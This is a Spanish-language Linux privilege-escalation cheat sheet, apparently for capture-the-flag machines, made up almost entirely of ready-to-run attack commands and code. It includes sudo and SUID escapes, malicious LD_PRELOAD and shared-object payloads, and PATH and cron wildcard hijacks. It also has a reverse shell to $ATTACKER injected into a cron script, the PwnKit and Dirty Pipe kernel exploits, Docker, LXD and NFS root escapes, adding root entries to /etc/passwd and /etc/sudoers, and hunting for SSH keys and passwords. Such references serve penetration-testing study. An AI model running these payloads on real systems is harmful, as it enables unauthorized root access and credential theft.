Mi referencia de cabecera para Linux privesc. Cada box es diferente pero el checklist es siempre el mismo. Recorrelo metódicamente y vas a encontrar el camino.
Enumeración Inicial
Correr estos primero. Cada vez. Sin excepciones.
# Quién soy
whoami
id
hostname
# Info del OS
cat /etc/os-release
uname -a
cat /proc/version
# Derechos sudo — LO PRIMERO QUE REVISAS
sudo -l
# Usuarios
cat /etc/passwd | grep -v nologin | grep -v false
cat /etc/group
# Red
ip a
ss -tulnp
netstat -tulnp
# Procesos corriendo
ps auxf
# Paquetes instalados (buscar cosas custom/inusuales)
dpkg -l 2>/dev/null
rpm -qa 2>/dev/null
# Filesystems montados
mount
cat /etc/fstab
# Variables de entorno
env
cat /etc/profile
cat ~/.bashrc
Tip: ss -tulnp revela servicios internos no visibles desde tu nmap scan. Encontrás MySQL, Redis, o algo en localhost? Eso es tu pivote.
Enumeración Automatizada
# LinPEAS — el GOAT
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# O transferir y correr
wget http://$ATTACKER:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt
# LinEnum
./linenum.sh -t
# pspy — monitorear procesos sin root (captura cron jobs)
./pspy64
Ojo: Si no podés transferir archivos, probá encodear en base64 o copiar-pegar. O simplemente correr las revisiones manuales de abajo.
Abuso de Sudo
sudo -l
Este es el comando más importante en Linux privesc. Punto.
Patrones de GTFOBins
Revisar cada binario contra GTFOBins.
# Wins comunes de sudo
sudo vim -c '!sh'
sudo find / -exec /bin/sh \; -quit
sudo awk 'BEGIN {system("/bin/sh")}'
sudo python3 -c 'import os; os.system("/bin/sh")'
sudo perl -e 'exec "/bin/sh";'
sudo less /etc/shadow # después !sh
sudo man man # después !sh
sudo env /bin/sh
sudo nmap --interactive # versiones viejas: !sh
sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/sh
# Escapes de editores
sudo vi # :!sh o :set shell=/bin/sh después :shell
sudo nano # Ctrl+R, Ctrl+X, después comando
sudo con NOPASSWD y env_keep
# Abuso de LD_PRELOAD — si env_keep+=LD_PRELOAD en sudo -l
# 1. Escribir shared object malicioso
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
EOF
# 2. Compilar
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c
# 3. Correr cualquier comando sudo permitido con el
sudo LD_PRELOAD=/tmp/shell.so <allowed_program>
sudo con LD_LIBRARY_PATH
# Si env_keep+=LD_LIBRARY_PATH
# 1. Encontrar shared libraries que usa el binario sudo
ldd /usr/bin/<allowed_program>
# 2. Crear librería maliciosa que coincida con uno de esos nombres
cat > /tmp/libfoo.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -o /tmp/libfoo.so /tmp/libfoo.c
sudo LD_LIBRARY_PATH=/tmp <allowed_program>
Versiones de sudo
sudo --version
- CVE-2021-3156 (Baron Samedit): sudo < 1.9.5p2. Heap overflow → root.
- CVE-2019-14287:
sudo -u#-1 /bin/bashcuando sudoers dice(ALL, !root). - CVE-2019-18634: Buffer overflow cuando
pwfeedbackestá habilitado.
Binarios SUID/SGID
# Encontrar binarios SUID
find / -perm -4000 -type f 2>/dev/null
# Encontrar binarios SGID
find / -perm -2000 -type f 2>/dev/null
# Ambos
find / -perm -u=s -o -perm -g=s -type f 2>/dev/null
Cruzar cada resultado con GTFOBins. Enfocarse en cualquier cosa no estándar.
Exploits Comunes de SUID
# Binario SUID custom llamando system() sin full path
# Revisar con:
strings /path/to/suid_binary
ltrace /path/to/suid_binary
strace /path/to/suid_binary
# Si llama algo como system("service apache2 start")
# PATH hijack:
echo '/bin/bash -p' > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
/path/to/suid_binary
# SUID bash/sh
/bin/bash -p
/bin/sh -p
# SUID cp — sobreescribir /etc/passwd o /etc/shadow
# Generar hash de password:
openssl passwd -1 hacked
# Crear passwd modificado con entrada root
# Copiar encima con el SUID cp
# SUID find
find . -exec /bin/sh -p \; -quit
# SUID python
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Ojo: El flag -p es crítico con bash/sh SUID. Sin él, bash tira los privilegios.
Linux Capabilities
# Encontrar binarios con capabilities
getcap -r / 2>/dev/null
Capabilities Peligrosas
| Capability | Abuso |
|---|---|
cap_setuid+ep | Setear UID a 0. Root directo. |
cap_setgid+ep | Setear GID a 0. |
cap_net_raw+ep | Packet sniffing. |
cap_dac_read_search+ep | Leer cualquier archivo. |
cap_dac_override+ep | Escribir cualquier archivo. |
cap_net_bind_service+ep | Bind a puertos privilegiados. |
# python3 con cap_setuid
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# perl con cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# tar con cap_dac_read_search — leer /etc/shadow
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz -C /tmp/
# openssl con cap_setuid
openssl req -engine /tmp/privesc.so # custom engine
Cron Jobs
# System cron
cat /etc/crontab
ls -la /etc/cron*
cat /etc/cron.d/*
# User crons
crontab -l
crontab -l -u root 2>/dev/null
# systemd timers
systemctl list-timers --all
# Vigilar procesos (pspy es mejor pero esto funciona)
watch -n 1 'ps aux | grep -v watch'
Explotación de Cron
# 1. El script es escribible por vos → inyectar reverse shell
echo 'bash -i >& /dev/tcp/$ATTACKER/9001 0>&1' >> /path/to/cron_script.sh
# 2. El script referencia un directorio escribible → PATH hijack
# Si cron corre: /usr/local/bin/backup.sh que llama "tar" sin full path
# Y PATH en crontab empieza con un directorio escribible
# 3. Wildcard injection (tar, rsync, chown)
# Cron corre: tar czf /tmp/backup.tar.gz *
# En el directorio de trabajo:
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh privesc.sh'
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > privesc.sh
# 4. El script de cron no existe pero el directorio es escribible
# Solo crearlo con tu payload
Tip: pspy es el verdadero MVP acá. Algunos cron jobs no aparecen en crontab pero igual corren. pspy captura todo.
Archivos y Directorios Escribibles
# Archivos world-writable
find / -writable -type f 2>/dev/null | grep -v proc
# Directorios world-writable
find / -writable -type d 2>/dev/null
# Archivos del usuario actual
find / -user $(whoami) -type f 2>/dev/null
# /etc/passwd escribible — root instantáneo
openssl passwd -1 hacked
# Agregar a /etc/passwd:
echo 'root2:$1$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
su root2
# /etc/shadow escribible — reemplazar hash de root
mkpasswd -m sha-512 hacked
# Reemplazar el hash de root en /etc/shadow
PATH Hijacking
Funciona cuando un script/binario privilegiado llama a otro binario sin el full path.
# 1. Encontrar la llamada vulnerable
strings /path/to/suid_binary # buscar system calls
strace /path/to/suid_binary 2>&1 | grep exec
# 2. Crear binario malicioso
echo '/bin/bash -p' > /tmp/targetcmd
chmod +x /tmp/targetcmd
# 3. Poner al principio del PATH
export PATH=/tmp:$PATH
# 4. Correr el binario vulnerable
/path/to/suid_binary
Kernel Exploits
Último recurso. Puede crashear la box. Pero a veces es la única forma.
# Recopilar info
uname -a
cat /proc/version
cat /etc/os-release
Kernel Exploits Notables
| CVE | Nombre | Versiones de Kernel |
|---|---|---|
| CVE-2016-5195 | Dirty COW | < 4.8.3 |
| CVE-2021-4034 | PwnKit (pkexec) | Polkit < 0.120 |
| CVE-2021-3156 | Baron Samedit | sudo < 1.9.5p2 |
| CVE-2022-0847 | Dirty Pipe | 5.8 <= kernel < 5.16.11 |
| CVE-2022-2588 | DirtyCred | kernel < 5.19 |
| CVE-2023-0386 | OverlayFS | kernel < 6.2 |
| CVE-2023-32233 | nf_tables | kernel < 6.4 |
# PwnKit — funciona en la mayoría de sistemas con polkit
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKit
# Dirty Pipe
# Descargar exploit, compilar en el target o cross-compilar
gcc dirty_pipe.c -o dirty_pipe
./dirty_pipe /etc/passwd 1 "${openssl_hash}"
Ojo: Siempre probar PwnKit primero. Funciona en una cantidad sorprendente de boxes y no crashea nada.
NFS
# Revisar shares NFS
showmount -e $IP
cat /etc/exports
# Buscar no_root_squash
cat /etc/exports | grep no_root_squash
Explotación de no_root_squash
# En la máquina atacante (como root)
mkdir /tmp/nfs
mount -t nfs $IP:/share /tmp/nfs
# Crear binario SUID
cat > /tmp/nfs/shell.c << 'EOF'
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}
EOF
gcc /tmp/nfs/shell.c -o /tmp/nfs/shell
chmod u+s /tmp/nfs/shell
# En el target — correr el binario SUID
/share/shell
Docker / Container Breakout
# Estoy en un container?
cat /proc/1/cgroup 2>/dev/null | grep docker
ls -la /.dockerenv
hostname # hex random = probablemente container
# Docker socket accesible?
ls -la /var/run/docker.sock
# Usuario en grupo docker? → root
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Docker socket mount escape
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh
# Privileged container escape
# Revisar: cat /proc/self/status | grep CapEff
# Si 0000003fffffffff — estás privilegiado
mkdir /tmp/escape && mount -t cgroup -o rdma cgroup /tmp/escape
# O usar CDK tool
Grupo LXD/LXC
# Usuario en grupo lxd → root
# En el atacante: buildear imagen alpine
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo ./build-alpine
# Transferir al target
lxc image import ./alpine*.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh
# Root filesystem en /mnt/root
Búsqueda de Credenciales
# Archivos de historial
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history
cat ~/.nano_history
# Archivos de config con passwords
find / -name "*.conf" -o -name "*.config" -o -name "*.cfg" -o -name "*.ini" -o -name "*.env" 2>/dev/null | head -30
grep -ri "password" /etc/ 2>/dev/null
grep -ri "password" /var/www/ 2>/dev/null
grep -ri "password" /opt/ 2>/dev/null
grep -ri "pass\|pwd\|token\|secret\|key" /home/ 2>/dev/null
# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
cat /home/*/.ssh/id_rsa 2>/dev/null
# Configs de web apps
cat /var/www/html/wp-config.php 2>/dev/null
cat /var/www/html/config.php 2>/dev/null
cat /var/www/html/.env 2>/dev/null
# Credenciales de base de datos
cat /etc/mysql/debian.cnf 2>/dev/null
cat /etc/my.cnf 2>/dev/null
# Reutilización de password — encontraste una password? Probala para root
su root
Tip: La reutilización de passwords es absurdamente común. Cada password que encontrés, probala para root y cada otro usuario en la box.
Misceláneo
/etc/sudoers Escribible
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
sudo su
cat /var/mail/$(whoami)
cat /var/spool/mail/$(whoami)
Shared Object Injection
# Binario SUID cargando un archivo .so faltante
strace /path/to/suid_binary 2>&1 | grep "No such file"
# Si intenta cargar /home/user/.config/libfoo.so
cat > /tmp/privesc.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /home/user/.config/libfoo.so /tmp/privesc.c
/path/to/suid_binary
Servicios Internos
# Port forward para acceder servicios internos
# SSH local forward
ssh -L 8080:127.0.0.1:8080 user@$IP
# Chisel
# Atacante: chisel server --reverse --port 8001
# Target: chisel client $ATTACKER:8001 R:8080:127.0.0.1:8080
Checklist de Victorias Rápidas
sudo -l— siempre primero- Binarios SUID → GTFOBins
- Capabilities →
cap_setuides root gratis - Cron jobs con scripts escribibles o wildcard injection
/etc/passwdescribible- Versión de kernel → PwnKit, Dirty Pipe
- Membresía en grupo Docker/lxd
- Credenciales en archivos de config, historial, entorno
- Servicios internos en localhost
- NFS con
no_root_squash - SSH keys tiradas por ahí
- Reutilización de passwords en todos lados